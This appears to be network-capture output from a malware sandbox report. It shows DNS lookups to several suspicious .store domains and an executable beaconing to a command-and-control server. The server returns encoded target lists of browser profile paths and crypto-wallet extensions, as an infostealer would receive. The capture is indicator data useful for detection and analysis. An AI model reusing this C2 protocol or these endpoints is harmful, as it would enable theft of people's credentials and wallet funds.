Nov 11, 2024 14:32:09.434853077 CET	192.168.2.4	1.1.1.1	0x83d3	Standard query (0)	play.google.com	65	IN (0x0001)	false
Nov 11, 2024 14:33:09.238730907 CET	192.168.2.4	1.1.1.1	0xaef4	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 14:33:09.267393112 CET	192.168.2.4	1.1.1.1	0x9d32	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 14:33:09.297036886 CET	192.168.2.4	1.1.1.1	0x4d7a	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 14:33:09.323280096 CET	192.168.2.4	1.1.1.1	0xdb02	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 14:33:09.347515106 CET	192.168.2.4	1.1.1.1	0x7f5c	Standard query (0)	necklacedmny.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 14:33:09.373749971 CET	192.168.2.4	1.1.1.1	0x1462	Standard query (0)	founpiuer.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 14:33:09.399580956 CET	192.168.2.4	1.1.1.1	0xaa98	Standard query (0)	navygenerayk.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 14:33:09.425582886 CET	192.168.2.4	1.1.1.1	0x8e36	Standard query (0)	scriptyprefej.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 14:33:09.450351000 CET	192.168.2.4	1.1.1.1	0x9e75	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 14:33:22.853331089 CET	192.168.2.4	1.1.1.1	0xaf2	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 14:33:22.882047892 CET	192.168.2.4	1.1.1.1	0x5853	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 14:33:22.905558109 CET	192.168.2.4	1.1.1.1	0x767d	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 14:33:22.931402922 CET	192.168.2.4	1.1.1.1	0xca7d	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 14:33:22.957201958 CET	192.168.2.4	1.1.1.1	0x534b	Standard query (0)	necklacedmny.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 14:33:23.003824949 CET	192.168.2.4	1.1.1.1	0x7167	Standard query (0)	founpiuer.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 14:33:23.030005932 CET	192.168.2.4	1.1.1.1	0x2e8f	Standard query (0)	navygenerayk.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 14:33:23.054996014 CET	192.168.2.4	1.1.1.1	0x1581	Standard query (0)	scriptyprefej.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 14:33:23.080028057 CET	192.168.2.4	1.1.1.1	0xeb48	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 14:33:24.698452950 CET	192.168.2.4	1.1.1.1	0x5279	Standard query (0)	marshal-zhukov.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 14:33:47.731532097 CET	192.168.2.4	1.1.1.1	0x2604	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 14:33:47.770076036 CET	192.168.2.4	1.1.1.1	0x6fd4	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 14:33:47.847201109 CET	192.168.2.4	1.1.1.1	0x3857	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 14:33:47.871828079 CET	192.168.2.4	1.1.1.1	0x9e74	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 14:33:47.897289991 CET	192.168.2.4	1.1.1.1	0xc082	Standard query (0)	necklacedmny.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 14:33:47.923497915 CET	192.168.2.4	1.1.1.1	0xe87f	Standard query (0)	founpiuer.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 14:33:47.948220968 CET	192.168.2.4	1.1.1.1	0x4e73	Standard query (0)	navygenerayk.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 14:33:47.973789930 CET	192.168.2.4	1.1.1.1	0x73c4	Standard query (0)	scriptyprefej.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 14:33:47.998694897 CET	192.168.2.4	1.1.1.1	0x69c0	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 11, 2024 14:32:05.396558046 CET	1.1.1.1	192.168.2.4	0x37b	No error (0)	www.google.com		142.250.185.132	A (IP address)	IN (0x0001)	false
Nov 11, 2024 14:32:05.396624088 CET	1.1.1.1	192.168.2.4	0xdbfd	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 11, 2024 14:32:08.441852093 CET	1.1.1.1	192.168.2.4	0x369d	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 14:32:08.441852093 CET	1.1.1.1	192.168.2.4	0x369d	No error (0)	plus.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Nov 11, 2024 14:32:08.441968918 CET	1.1.1.1	192.168.2.4	0x6597	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 14:32:09.441663980 CET	1.1.1.1	192.168.2.4	0xd654	No error (0)	play.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Nov 11, 2024 14:33:09.261658907 CET	1.1.1.1	192.168.2.4	0xaef4	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 14:33:09.291733980 CET	1.1.1.1	192.168.2.4	0x9d32	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 14:33:09.320451021 CET	1.1.1.1	192.168.2.4	0x4d7a	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 14:33:09.345979929 CET	1.1.1.1	192.168.2.4	0xdb02	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 14:33:09.371211052 CET	1.1.1.1	192.168.2.4	0x7f5c	Name error (3)	necklacedmny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 14:33:09.396910906 CET	1.1.1.1	192.168.2.4	0x1462	Name error (3)	founpiuer.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 14:33:09.423995018 CET	1.1.1.1	192.168.2.4	0xaa98	Name error (3)	navygenerayk.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 14:33:09.447828054 CET	1.1.1.1	192.168.2.4	0x8e36	Name error (3)	scriptyprefej.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 14:33:09.457272053 CET	1.1.1.1	192.168.2.4	0x9e75	No error (0)	steamcommunity.com		23.192.247.89	A (IP address)	IN (0x0001)	false
Nov 11, 2024 14:33:22.877382994 CET	1.1.1.1	192.168.2.4	0xaf2	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 14:33:22.904444933 CET	1.1.1.1	192.168.2.4	0x5853	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 14:33:22.928194046 CET	1.1.1.1	192.168.2.4	0x767d	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 14:33:22.954672098 CET	1.1.1.1	192.168.2.4	0xca7d	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 14:33:23.002583981 CET	1.1.1.1	192.168.2.4	0x534b	Name error (3)	necklacedmny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 14:33:23.027515888 CET	1.1.1.1	192.168.2.4	0x7167	Name error (3)	founpiuer.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 14:33:23.052473068 CET	1.1.1.1	192.168.2.4	0x2e8f	Name error (3)	navygenerayk.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 14:33:23.077972889 CET	1.1.1.1	192.168.2.4	0x1581	Name error (3)	scriptyprefej.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 14:33:23.086633921 CET	1.1.1.1	192.168.2.4	0xeb48	No error (0)	steamcommunity.com		23.192.247.89	A (IP address)	IN (0x0001)	false
Nov 11, 2024 14:33:24.855984926 CET	1.1.1.1	192.168.2.4	0x5279	No error (0)	marshal-zhukov.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 11, 2024 14:33:24.855984926 CET	1.1.1.1	192.168.2.4	0x5279	No error (0)	marshal-zhukov.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 11, 2024 14:33:47.764101028 CET	1.1.1.1	192.168.2.4	0x2604	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 14:33:47.794584036 CET	1.1.1.1	192.168.2.4	0x6fd4	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 14:33:47.869549036 CET	1.1.1.1	192.168.2.4	0x3857	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 14:33:47.895175934 CET	1.1.1.1	192.168.2.4	0x9e74	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 14:33:47.921395063 CET	1.1.1.1	192.168.2.4	0xc082	Name error (3)	necklacedmny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 14:33:47.945987940 CET	1.1.1.1	192.168.2.4	0xe87f	Name error (3)	founpiuer.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 14:33:47.971601009 CET	1.1.1.1	192.168.2.4	0x4e73	Name error (3)	navygenerayk.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 14:33:47.996576071 CET	1.1.1.1	192.168.2.4	0x73c4	Name error (3)	scriptyprefej.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 14:33:48.005681992 CET	1.1.1.1	192.168.2.4	0x69c0	No error (0)	steamcommunity.com		23.192.247.89	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.215.113.206	80	7436	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 14:32:00.655181885 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 11, 2024 14:32:01.297915936 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:32:01 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 11, 2024 14:32:01.300329924 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJEGDBKFIJDAKFIDGHJE Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 45 47 44 42 4b 46 49 4a 44 41 4b 46 49 44 47 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 36 31 45 35 34 38 36 37 45 37 31 33 36 30 34 32 39 36 32 39 37 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 47 44 42 4b 46 49 4a 44 41 4b 46 49 44 47 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 47 44 42 4b 46 49 4a 44 41 4b 46 49 44 47 48 4a 45 2d 2d 0d 0a Data Ascii: ------KJEGDBKFIJDAKFIDGHJEContent-Disposition: form-data; name="hwid"461E54867E713604296297------KJEGDBKFIJDAKFIDGHJEContent-Disposition: form-data; name="build"mars------KJEGDBKFIJDAKFIDGHJE--
Nov 11, 2024 14:32:01.515055895 CET	407	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:32:01 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 54 45 32 4e 57 45 31 4f 57 5a 6c 5a 57 55 35 4e 54 6b 30 4f 57 51 30 4d 54 59 31 4d 6d 4a 6d 59 32 56 6b 4d 47 4e 68 4f 57 52 6c 5a 54 45 35 4d 44 59 7a 4d 54 67 77 59 54 59 32 4f 44 42 68 59 32 4e 6d 4d 44 6b 7a 4d 57 49 78 59 6a 6b 7a 4f 54 45 34 4d 7a 56 68 5a 6a 59 31 4d 7a 56 68 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: NTE2NWE1OWZlZWU5NTk0OWQ0MTY1MmJmY2VkMGNhOWRlZTE5MDYzMTgwYTY2ODBhY2NmMDkzMWIxYjkzOTE4MzVhZjY1MzVhfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 11, 2024 14:32:01.515988111 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAFIEGIECGCBKFIEBGCA Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 31 36 35 61 35 39 66 65 65 65 39 35 39 34 39 64 34 31 36 35 32 62 66 63 65 64 30 63 61 39 64 65 65 31 39 30 36 33 31 38 30 61 36 36 38 30 61 63 63 66 30 39 33 31 62 31 62 39 33 39 31 38 33 35 61 66 36 35 33 35 61 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 2d 2d 0d 0a Data Ascii: ------BAFIEGIECGCBKFIEBGCAContent-Disposition: form-data; name="token"5165a59feee95949d41652bfced0ca9dee19063180a6680accf0931b1b9391835af6535a------BAFIEGIECGCBKFIEBGCAContent-Disposition: form-data; name="message"browsers------BAFIEGIECGCBKFIEBGCA--
Nov 11, 2024 14:32:01.718099117 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:32:01 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 11, 2024 14:32:01.718244076 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 11, 2024 14:32:01.719494104 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAAFCAFCBKFHJJJKKFHI Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 31 36 35 61 35 39 66 65 65 65 39 35 39 34 39 64 34 31 36 35 32 62 66 63 65 64 30 63 61 39 64 65 65 31 39 30 36 33 31 38 30 61 36 36 38 30 61 63 63 66 30 39 33 31 62 31 62 39 33 39 31 38 33 35 61 66 36 35 33 35 61 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 49 2d 2d 0d 0a Data Ascii: ------BAAFCAFCBKFHJJJKKFHIContent-Disposition: form-data; name="token"5165a59feee95949d41652bfced0ca9dee19063180a6680accf0931b1b9391835af6535a------BAAFCAFCBKFHJJJKKFHIContent-Disposition: form-data; name="message"plugins------BAAFCAFCBKFHJJJKKFHI--
Nov 11, 2024 14:32:01.921060085 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:32:01 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 11, 2024 14:32:01.921072006 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 11, 2024 14:32:01.921084881 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Nov 11, 2024 14:32:01.921103001 CET	336	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
